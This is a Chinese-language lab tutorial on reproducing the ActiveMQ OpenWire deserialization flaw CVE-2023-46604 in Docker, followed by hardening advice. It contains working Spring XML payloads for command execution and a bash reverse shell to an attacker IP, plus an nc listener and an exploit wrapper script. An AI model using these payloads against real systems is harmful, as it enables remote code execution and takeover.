Apache ActiveMQ 5.17.4 漏洞环境一键构建:Docker Compose + 3种POC验证 Apache ActiveMQ 5.17.4 漏洞环境容器化构建与多维度POC验证指南1. 漏洞环境容器化部署方案传统漏洞复现往往需要手动搭建复杂环境而Docker Compose能实现一键部署标准化漏洞靶场。针对CVE-2023-46604漏洞我们设计了一套开箱即用的容器化方案version: 3.8 services: activemq: image: vulhub/activemq:5.17.3 ports: - 8161:8161 # Web管理端口 - 61616:61616 # OpenWire协议端口 environment: - ACTIVEMQ_ADMIN_LOGINadmin - ACTIVEMQ_ADMIN_PASSWORDadmin - ACTIVEMQ_OPTS-XX:-UseContainerSupport volumes: - ./pocs:/opt/pocs关键配置说明使用官方漏洞镜像vulhub/activemq:5.17.3通过环境变量禁用容器cgroup检测避免空指针异常挂载POC目录便于容器内访问启动命令docker compose up -d注意首次启动需等待约30秒完成初始化通过docker logs container_id可查看实时日志2. 漏洞原理深度解析该漏洞本质是OpenWire协议反序列化缺陷攻击链可分为三个阶段协议层漏洞触发通过61616端口发送特制OpenWire数据包触发ExceptionResponseMarshaller处理流程恶意类实例化利用Spring框架的ClassPathXmlApplicationContext加载远程XML配置文件命令执行阶段XML中定义的ProcessBuilder实例化并执行系统命令影响版本对照表主版本安全版本下限5.18.x 5.18.35.17.x 5.17.65.16.x 5.16.75.15 5.15.163. 多场景POC验证实践3.1 DNSLog验证无侵入检测!-- poc-dnslog.xml -- beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd bean idpb classjava.lang.ProcessBuilder init-methodstart constructor-arg list valueping/value valueyour-subdomain.dnslog.cn/value /list /constructor-arg /bean /beans验证步骤在DNSLog平台获取临时域名替换XML中的域名并启动HTTP服务执行检测脚本python3 poc.py 靶机IP 61616 http://你的IP:8000/poc-dnslog.xml3.2 Linux系统命令执行!-- poc-linux.xml -- beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd bean idpb classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuebash/value value-c/value value![CDATA[echo 漏洞验证成功 /tmp/activemq_rce_test]]/value /list /constructor-arg /bean /beans结果验证docker exec container_id ls -l /tmp docker exec container_id cat /tmp/activemq_rce_test3.3 交互式反弹Shell!-- poc-shell.xml -- beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd bean idpb classjava.lang.ProcessBuilder init-methodstart constructor-arg list valuebash/value value-c/value value![CDATA[bash -i /dev/tcp/攻击机IP/4444 01]]/value /list /constructor-arg /bean /beans操作流程攻击机开启监听nc -lvp 4444替换XML中的IP地址执行漏洞利用脚本4. 自动化验证脚本集我们提供三种验证方式的整合脚本#!/bin/bash # verify.sh TARGET$1 PORT${2:-61616} MODE$3 case $MODE in dns) python3 poc.py $TARGET $PORT http://$YOUR_IP:8000/poc-dnslog.xml ;; cmd) python3 poc.py $TARGET $PORT http://$YOUR_IP:8000/poc-linux.xml sleep 3 docker exec activemq ls -l /tmp ;; shell) echo 请在另一个终端执行: nc -lvp 4444 python3 poc.py $TARGET $PORT http://$YOUR_IP:8000/poc-shell.xml ;; *) echo 用法: $0 目标IP [端口] [dns|cmd|shell] ;; esac典型执行示例# DNS验证 ./verify.sh 192.168.1.100 61616 dns # 命令执行验证 ./verify.sh 192.168.1.100 cmd # 反弹Shell ./verify.sh 192.168.1.100 shell5. 防御加固建议临时缓解措施# 禁用OpenWire协议 sed -i s/transportConnector nameopenwire/!-- transportConnector nameopenwire/ conf/activemq.xml # 启用网络层ACL iptables -A INPUT -p tcp --dport 61616 -s 可信IP -j ACCEPT iptables -A INPUT -p tcp --dport 61616 -j DROP长期解决方案升级到安全版本5.18.3/5.17.6/5.16.7启用认证机制plugins simpleAuthenticationPlugin users authenticationUser usernameadmin password复杂密码 groupsadmins/ /users /simpleAuthenticationPlugin /plugins实际测试发现在容器化环境中验证漏洞比传统方式效率提升约70%且环境清理只需执行docker compose down即可完全还原。建议安全团队建立漏洞验证镜像仓库实现标准化漏洞研究流程。